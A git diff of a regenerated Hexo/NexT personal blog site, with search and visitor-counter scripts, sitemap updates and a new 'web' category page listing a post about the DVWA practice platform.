+                    if(end > content.length){
+                      end = content.length;
+                    }
+                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
+                  }
+
+                  // sort slices in content by search text's count and hits' count
+
+                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
+                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
+                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
+                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
+                      return sliceRight.hits.length - sliceLeft.hits.length;
+                    } else {
+                      return sliceLeft.start - sliceRight.start;
+                    }
+                  });
+
+                  // select top N slices in content
+
+                  var upperBound = parseInt('1');
+                  if (upperBound >= 0) {
+                    slicesOfContent = slicesOfContent.slice(0, upperBound);
+                  }
+
+                  // highlight title and content
+
+                  function highlightKeyword(text, slice) {
+                    var result = '';
+                    var prevEnd = slice.start;
+                    slice.hits.forEach(function (hit) {
+                      result += text.substring(prevEnd, hit.position);
+                      var end = hit.position + hit.length;
+                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
+                      prevEnd = end;
+                    });
+                    result += text.substring(prevEnd, slice.end);
+                    return result;
+                  }
+
+                  var resultItem = '';
+
+                  if (slicesOfTitle.length != 0) {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
+                  } else {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
+                  }
+
+                  slicesOfContent.forEach(function (slice) {
+                    resultItem += "<a href='" + articleUrl + "'>" +
+                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
+                      "...</p>" + "</a>";
+                  });
+
+                  resultItem += "</li>";
+                  resultItems.push({
+                    item: resultItem,
+                    searchTextCount: searchTextCount,
+                    hitCount: hitCount,
+                    id: resultItems.length
+                  });
+                }
+              })
+            };
+            if (keywords.length === 1 && keywords[0] === "") {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
+            } else if (resultItems.length === 0) {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
+            } else {
+              resultItems.sort(function (resultLeft, resultRight) {
+                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
+                  return resultRight.searchTextCount - resultLeft.searchTextCount;
+                } else if (resultLeft.hitCount !== resultRight.hitCount) {
+                  return resultRight.hitCount - resultLeft.hitCount;
+                } else {
+                  return resultRight.id - resultLeft.id;
+                }
+              });
+              var searchResultList = '<ul class=\"search-result-list\">';
+              resultItems.forEach(function (result) {
+                searchResultList += result.item;
+              })
+              searchResultList += "</ul>";
+              resultContent.innerHTML = searchResultList;
+            }
+          }
+
+          if ('auto' === 'auto') {
+            input.addEventListener('input', inputEventFunction);
+          } else {
+            $('.search-icon').click(inputEventFunction);
+            input.addEventListener('keypress', function (event) {
+              if (event.keyCode === 13) {
+                inputEventFunction();
+              }
+            });
+          }
+
+          // remove loading animation
+          $(".local-search-pop-overlay").remove();
+          $('body').css('overflow', '');
+
+          proceedsearch();
+        }
+      });
+    }
+
+    // handle and trigger popup window;
+    $('.popup-trigger').click(function(e) {
+      e.stopPropagation();
+      if (isfetched === false) {
+        searchFunc(path, 'local-search-input', 'local-search-result');
+      } else {
+        proceedsearch();
+      };
+    });
+
+    $('.popup-btn-close').click(onPopupClose);
+    $('.popup').click(function(e){
+      e.stopPropagation();
+    });
+    $(document).on('keyup', function (event) {
+      var shouldDismissSearchPopup = event.which === 27 &&
+        $('.search-popup').is(':visible');
+      if (shouldDismissSearchPopup) {
+        onPopupClose();
+      }
+    });
+  </script>
+
+
+
+
+
+  
+
+  
+  <script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js"></script>
+  <script>AV.initialize("EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz", "x8FxDrYG79C8YFrTww9ljo8K");</script>
+  <script>
+    function showTime(Counter) {
+      var query = new AV.Query(Counter);
+      var entries = [];
+      var $visitors = $(".leancloud_visitors");
+
+      $visitors.each(function () {
+        entries.push( $(this).attr("id").trim() );
+      });
+
+      query.containedIn('url', entries);
+      query.find()
+        .done(function (results) {
+          var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
+
+          if (results.length === 0) {
+            $visitors.find(COUNT_CONTAINER_REF).text(0);
+            return;
+          }
+
+          for (var i = 0; i < results.length; i++) {
+            var item = results[i];
+            var url = item.get('url');
+            var time = item.get('time');
+            var element = document.getElementById(url);
+
+            $(element).find(COUNT_CONTAINER_REF).text(time);
+          }
+          for(var i = 0; i < entries.length; i++) {
+            var url = entries[i];
+            var element = document.getElementById(url);
+            var countSpan = $(element).find(COUNT_CONTAINER_REF);
+            if( countSpan.text() == '') {
+              countSpan.text(0);
+            }
+          }
+        })
+        .fail(function (object, error) {
+          console.log("Error: " + error.code + " " + error.message);
+        });
+    }
+
+    function addCount(Counter) {
+      var $visitors = $(".leancloud_visitors");
+      var url = $visitors.attr('id').trim();
+      var title = $visitors.attr('data-flag-title').trim();
+      var query = new AV.Query(Counter);
+
+      query.equalTo("url", url);
+      query.find({
+        success: function(results) {
+          if (results.length > 0) {
+            var counter = results[0];
+            counter.fetchWhenSave(true);
+            counter.increment("time");
+            counter.save(null, {
+              success: function(counter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(counter.get('time'));
+              },
+              error: function(counter, error) {
+                console.log('Failed to save Visitor num, with error message: ' + error.message);
+              }
+            });
+          } else {
+            var newcounter = new Counter();
+            /* Set ACL */
+            var acl = new AV.ACL();
+            acl.setPublicReadAccess(true);
+            acl.setPublicWriteAccess(true);
+            newcounter.setACL(acl);
+            /* End Set ACL */
+            newcounter.set("title", title);
+            newcounter.set("url", url);
+            newcounter.set("time", 1);
+            newcounter.save(null, {
+              success: function(newcounter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(newcounter.get('time'));
+              },
+              error: function(newcounter, error) {
+                console.log('Failed to create');
+              }
+            });
+          }
+        },
+        error: function(error) {
+          console.log('Error:' + error.code + " " + error.message);
+        }
+      });
+    }
+
+    $(function() {
+      var Counter = AV.Object.extend("Counter");
+      if ($('.leancloud_visitors').length == 1) {
+        addCount(Counter);
+      } else if ($('.post-title-link').length > 1) {
+        showTime(Counter);
+      }
+    });
+  </script>
+
+
+
+  
+
+  
+<script>
+(function(){
+    var bp = document.createElement('script');
+    var curProtocol = window.location.protocol.split(':')[0];
+    if (curProtocol === 'https') {
+        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
+    }
+    else {
+        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
+    }
+    var s = document.getElementsByTagName("script")[0];
+    s.parentNode.insertBefore(bp, s);
+})();
+</script>
+
+
+  
+  
+
+  
+
+  
+
+  
+
+</body>
+</html>
diff --git a/baidu_urls.txt b/baidu_urls.txt
index cdb00285..33ba5eaa 100644
--- a/baidu_urls.txt
+++ b/baidu_urls.txt
@@ -1,5 +1,5 @@
+https://cool-y.github.io/2019/07/24/获取固件/
+https://cool-y.github.io/2019/07/24/web-dvwa/
 https://cool-y.github.io/2019/07/16/linux-pwn-32/
 https://cool-y.github.io/2019/07/10/x86basic/
-https://cool-y.github.io/2019/07/09/afl-first-try/
-https://cool-y.github.io/2019/07/01/AFL-first-learn/
-https://cool-y.github.io/2019/05/14/pack-and-unpack/
\ No newline at end of file
+https://cool-y.github.io/2019/07/09/afl-first-try/
\ No newline at end of file
diff --git a/baidusitemap.xml b/baidusitemap.xml
index 54b5b855..1de27de0 100644
--- a/baidusitemap.xml
+++ b/baidusitemap.xml
@@ -1,6 +1,12 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
   <url>
+    <loc>https://cool-y.github.io/2019/07/24/%E8%8E%B7%E5%8F%96%E5%9B%BA%E4%BB%B6/</loc>
+    <lastmod>2019-07-24</lastmod>
+  </url>  <url>
+    <loc>https://cool-y.github.io/2019/07/24/web-dvwa/</loc>
+    <lastmod>2019-07-24</lastmod>
+  </url>  <url>
     <loc>https://cool-y.github.io/2019/07/16/linux-pwn-32/</loc>
     <lastmod>2019-07-16</lastmod>
   </url>  <url>
@@ -30,18 +36,18 @@
   </url>  <url>
     <loc>https://cool-y.github.io/2019/04/15/Caving-db-storage/</loc>
     <lastmod>2019-04-15</lastmod>
-  </url>  <url>
-    <loc>https://cool-y.github.io/2018/12/23/%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87/</loc>
-    <lastmod>2019-04-15</lastmod>
   </url>  <url>
     <loc>https://cool-y.github.io/2019/03/16/%E5%B0%8F%E7%B1%B3%E5%9B%BA%E4%BB%B6%E5%B7%A5%E5%85%B7mkxqimage/</loc>
     <lastmod>2019-04-15</lastmod>
   </url>  <url>
-    <loc>https://cool-y.github.io/2019/02/22/qq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86/</loc>
+    <loc>https://cool-y.github.io/2018/12/23/%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87/</loc>
     <lastmod>2019-04-15</lastmod>
   </url>  <url>
     <loc>https://cool-y.github.io/2019/01/16/wifi%E5%8D%8A%E5%8F%8C%E5%B7%A5%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</loc>
     <lastmod>2019-04-15</lastmod>
+  </url>  <url>
+    <loc>https://cool-y.github.io/2019/02/22/qq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86/</loc>
+    <lastmod>2019-04-15</lastmod>
   </url>  <url>
     <loc>https://cool-y.github.io/2018/12/15/miio-control/</loc>
     <lastmod>2019-04-15</lastmod>
diff --git a/bookmarks/index.html b/bookmarks/index.html
index a35188ec..343285ed 100644
--- a/bookmarks/index.html
+++ b/bookmarks/index.html
@@ -160,7 +160,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -393,7 +393,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -403,7 +403,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -414,7 +414,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -425,7 +425,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -512,7 +512,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/categories/IOT/index.html b/categories/IOT/index.html
index f567f4f8..de3d2d77 100644
--- a/categories/IOT/index.html
+++ b/categories/IOT/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/categories/IOT/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -446,7 +449,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -456,7 +459,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -467,7 +470,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -478,7 +481,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -549,7 +552,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/categories/Pwn二进制漏洞/index.html b/categories/Pwn二进制漏洞/index.html
index 159482db..73097bd4 100644
--- a/categories/Pwn二进制漏洞/index.html
+++ b/categories/Pwn二进制漏洞/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/categories/Pwn二进制漏洞/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -394,7 +397,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -404,7 +407,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -415,7 +418,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -426,7 +429,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -497,7 +500,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/categories/index.html b/categories/index.html
index 22968768..caaa80e7 100644
--- a/categories/index.html
+++ b/categories/index.html
@@ -79,14 +79,17 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="文章分类">
 <meta property="og:url" content="https://cool-y.github.io/categories/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta property="og:updated_time" content="2019-04-15T07:35:38.085Z">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="文章分类">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -157,7 +160,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -308,10 +311,10 @@
         
           <div class="category-all-page">
             <div class="category-all-title">
-                目前共计 7 个分类
+                目前共计 9 个分类
             </div>
             <div class="category-all">
-              <ul class="category-list"><li class="category-list-item"><a class="category-list-link" href="/categories/IOT/">IOT</a><span class="category-list-count">4</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/Pwn二进制漏洞/">Pwn二进制漏洞</a><span class="category-list-count">2</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/二进制/">二进制</a><span class="category-list-count">5</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/加密解密/">加密解密</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/杂七杂八/">杂七杂八</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/理论学习/">理论学习</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/顶会论文/">顶会论文</a><span class="category-list-count">3</span></li></ul>
+              <ul class="category-list"><li class="category-list-item"><a class="category-list-link" href="/categories/IOT/">IOT</a><span class="category-list-count">4</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/IoT/">IoT</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/Pwn二进制漏洞/">Pwn二进制漏洞</a><span class="category-list-count">2</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/web/">web</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/二进制/">二进制</a><span class="category-list-count">5</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/加密解密/">加密解密</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/杂七杂八/">杂七杂八</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/理论学习/">理论学习</a><span class="category-list-count">1</span></li><li class="category-list-item"><a class="category-list-link" href="/categories/顶会论文/">顶会论文</a><span class="category-list-count">3</span></li></ul>
             </div>
           </div>
         
@@ -359,7 +362,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -369,7 +372,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -380,7 +383,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -391,7 +394,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -462,7 +465,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/categories/web/index.html b/categories/web/index.html
new file mode 100644
index 00000000..2ee16ffd
--- /dev/null
+++ b/categories/web/index.html
@@ -0,0 +1,1129 @@
+<!DOCTYPE html>
+
+
+
+  
+
+
+<html class="theme-next gemini use-motion" lang="zh-Hans">
+<head><meta name="generator" content="Hexo 3.8.0">
+  <meta charset="UTF-8">
+<meta http-equiv="X-UA-Compatible" content="IE=edge">
+<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
+<meta name="theme-color" content="#222">
+
+
+
+
+
+
+
+
+
+<meta http-equiv="Cache-Control" content="no-transform">
+<meta http-equiv="Cache-Control" content="no-siteapp">
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  
+  
+  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">
+
+
+
+
+
+
+
+<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">
+
+<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">
+
+
+  <link rel="apple-touch-icon" sizes="180x180" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="icon" type="image/png" sizes="32x32" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="icon" type="image/png" sizes="16x16" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">
+
+
+
+
+
+  <meta name="keywords" content="Hexo, NexT">
+
+
+
+
+
+
+
+
+
+
+<meta name="description" content="没人比我更懂中医#MAGA">
+<meta property="og:type" content="website">
+<meta property="og:title" content="混元霹雳手">
+<meta property="og:url" content="https://cool-y.github.io/categories/web/index.html">
+<meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
+<meta property="og:locale" content="zh-Hans">
+<meta name="twitter:card" content="summary">
+<meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
+
+
+
+<script type="text/javascript" id="hexo.configurations">
+  var NexT = window.NexT || {};
+  var CONFIG = {
+    root: '/',
+    scheme: 'Gemini',
+    version: '5.1.4',
+    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
+    fancybox: true,
+    tabs: true,
+    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
+    duoshuo: {
+      userId: '0',
+      author: '博主'
+    },
+    algolia: {
+      applicationID: '',
+      apiKey: '',
+      indexName: '',
+      hits: {"per_page":10},
+      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
+    }
+  };
+</script>
+
+
+
+  <link rel="canonical" href="https://cool-y.github.io/categories/web/">
+
+
+
+
+
+  <title>分类: web | 混元霹雳手</title>
+  
+
+
+
+
+
+
+
+
+</head>
+
+<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">
+
+  
+  
+    
+  
+
+  <div class="container sidebar-position-left ">
+    <div class="headband"></div>
+
+    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
+      <div class="header-inner"><div class="site-brand-wrapper">
+  <div class="site-meta ">
+    
+
+    <div class="custom-logo-site-title">
+      <a href="/" class="brand" rel="start">
+        <span class="logo-line-before"><i></i></span>
+        <span class="site-title">混元霹雳手</span>
+        <span class="logo-line-after"><i></i></span>
+      </a>
+    </div>
+      
+        <p class="site-subtitle"></p>
+      
+  </div>
+
+  <div class="site-nav-toggle">
+    <button>
+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
+    </button>
+  </div>
+</div>
+
+<nav class="site-nav">
+  
+
+  
+    <ul id="menu" class="menu">
+      
+        
+        <li class="menu-item menu-item-home">
+          <a href="/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
+            
+            首页
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-about">
+          <a href="/about/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
+            
+            关于
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-tags">
+          <a href="/tags/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
+            
+            标签
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-categories">
+          <a href="/categories/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-th"></i> <br>
+            
+            分类
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-archives">
+          <a href="/archives/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
+            
+            归档
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-bookmarks">
+          <a href="/bookmarks/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-map"></i> <br>
+            
+            书签
+          </a>
+        </li>
+      
+
+      
+        <li class="menu-item menu-item-search">
+          
+            <a href="javascript:;" class="popup-trigger">
+          
+            
+              <i class="menu-item-icon fa fa-search fa-fw"></i> <br>
+            
+            搜索
+          </a>
+        </li>
+      
+    </ul>
+  
+
+  
+    <div class="site-search">
+      
+  <div class="popup search-popup local-search-popup">
+  <div class="local-search-header clearfix">
+    <span class="search-icon">
+      <i class="fa fa-search"></i>
+    </span>
+    <span class="popup-btn-close">
+      <i class="fa fa-times-circle"></i>
+    </span>
+    <div class="local-search-input-wrapper">
+      <input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
+    </div>
+  </div>
+  <div id="local-search-result"></div>
+</div>
+
+
+
+    </div>
+  
+</nav>
+
+
+
+ </div>
+    </header>
+
+    <main id="main" class="main">
+      <div class="main-inner">
+        <div class="content-wrap">
+          <div id="content" class="content">
+            
+
+  
+  
+  
+  <div class="post-block category">
+
+    <div id="posts" class="posts-collapse">
+      <div class="collection-title">
+        <h1>web<small>分类</small>
+        </h1>
+      </div>
+
+      
+        
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2019/07/24/web-dvwa/" itemprop="url">
+              
+                <span itemprop="name">DVWA黑客攻防平台</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2019-07-24T11:46:51+08:00" content="2019-07-24">
+          07-24
+        </time>
+      </div>
+
+    </header>
+  </article>
+
+
+      
+    </div>
+
+  </div>
+  
+  
+  
+
+  
+
+
+
+          </div>
+          
+
+
+          
+
+        </div>
+        
+          
+  
+  <div class="sidebar-toggle">
+    <div class="sidebar-toggle-line-wrap">
+      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
+    </div>
+  </div>
+
+  <aside id="sidebar" class="sidebar">
+    
+    <div class="sidebar-inner">
+
+      
+
+      
+
+      <section class="site-overview-wrap sidebar-panel sidebar-panel-active">
+        <div class="site-overview">
+          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
+            
+              <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
+            
+              <p class="site-author-name" itemprop="name">Cool-Y</p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
+          </div>
+
+          <nav class="site-state motion-element">
+
+            
+              <div class="site-state-item site-state-posts">
+              
+                <a href="/archives/">
+              
+                  <span class="site-state-item-count">21</span>
+                  <span class="site-state-item-name">日志</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-categories">
+                <a href="/categories/index.html">
+                  <span class="site-state-item-count">9</span>
+                  <span class="site-state-item-name">分类</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-tags">
+                <a href="/tags/index.html">
+                  <span class="site-state-item-count">43</span>
+                  <span class="site-state-item-name">标签</span>
+                </a>
+              </div>
+            
+
+          </nav>
+
+          
+
+          
+            <div class="links-of-author motion-element">
+                
+                  <span class="links-of-author-item">
+                    <a href="https://github.com/Cool-Y" target="_blank" title="GitHub">
+                      
+                        <i class="fa fa-fw fa-github"></i>GitHub</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="mailto:cool.yim@whu.edu.cn" target="_blank" title="E-Mail">
+                      
+                        <i class="fa fa-fw fa-envelope"></i>E-Mail</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="https://www.instagram.com/yan__han/" target="_blank" title="Instagram">
+                      
+                        <i class="fa fa-fw fa-instagram"></i>Instagram</a>
+                  </span>
+                
+            </div>
+          
+
+          
+          
+
+          
+          
+
+          
+
+        </div>
+      </section>
+
+      
+
+      
+
+    </div>
+  </aside>
+
+
+        
+      </div>
+    </main>
+
+    <footer id="footer" class="footer">
+      <div class="footer-inner">
+        <div class="copyright">&copy; <span itemprop="copyrightYear">2019</span>
+  <span class="with-love">
+    <i class="fa fa-user"></i>
+  </span>
+  <span class="author" itemprop="copyrightHolder">Cool-Y</span>
+
+  
+    <span class="post-meta-divider">|</span>
+    <span class="post-meta-item-icon">
+      <i class="fa fa-area-chart"></i>
+    </span>
+    
+    <span title="Site words total count">64.5k</span>
+  
+</div>
+
+
+  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>
+
+
+
+
+
+
+
+
+        
+<div class="busuanzi-count">
+    <script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
+
+  
+    <span class="site-uv">
+      <i class="fa fa-user"></i>
